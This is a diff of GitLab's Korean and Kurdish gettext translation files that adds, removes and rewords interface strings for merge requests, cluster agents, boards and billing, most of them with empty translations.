msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -40788,6 +41430,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "ë°°í¬ í†µê³„ëŠ” ì•„ì§ ì‚¬ìš©í•  수 없습니다."
@@ -40797,12 +41442,18 @@ msgstr "닫히지 ì•ŠìŒ"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "ì´ë©”ì¼ íŒ¨ì¹˜"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "ë°°í¬ í†µê³„ë¥¼ ë¡œë“œí•˜ëŠ”ë° ì‹¤íŒ¨í•˜ì˜€ìŠµë‹ˆë‹¤."
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -40837,21 +41488,36 @@ msgstr "머지"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "머지 실패."
msgid "mrWidget|Merge locally"
msgstr "로컬ì—ì„œ 머지"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "머지:"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -40864,6 +41530,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -40903,9 +41578,6 @@ msgstr "머지 리퀘스트(MR)"
msgid "mrWidget|Resolve conflicts"
msgstr "ì¶©ëŒ í•´ê²°"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr "ë˜ëŒë¦¬ê¸°"
@@ -40936,9 +41608,6 @@ msgstr "변경 ì‚¬í•­ì´ ë¨¸ì§€ë˜ì—ˆìŠµë‹ˆë‹¤."
msgid "mrWidget|The changes were not merged into"
msgstr "변경 ì‚¬í•­ì´ ë¨¸ì§€ë˜ì§€ 않았습니다."
-msgid "mrWidget|The changes will be merged into"
-msgstr "변경 ì‚¬í•­ì´ ë¨¸ì§€ë  ê²ƒ 입니다."
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -40954,37 +41623,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr ""
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "머지 충ëŒì´ 있습니다."
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "ì´ ë¨¸ì§€ 리퀘스트(MR)를 ìžë™ìœ¼ë¡œ ë¨¸ì§€í•˜ëŠ”ë° ì‹¤íŒ¨í•˜ì˜€ìŠµë‹ˆë‹¤."
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "ì´ í”„ë¡œì íŠ¸ëŠ” ë³´ê´€ë˜ì—ˆê³ , 쓰기 ì ‘ê·¼ì´ ë¹„í™œì„±í™”ë˜ì—ˆìŠµë‹ˆë‹¤."
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41145,6 +41805,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41322,9 +41994,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "ì •ë ¬:"
-
msgid "source"
msgstr "소스"
@@ -41349,6 +42018,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ku_TR/gitlab.po b/locale/ku_TR/gitlab.po
index b40cb1bcc5f..ba6f667ede6 100644
--- a/locale/ku_TR/gitlab.po
+++ b/locale/ku_TR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ku\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
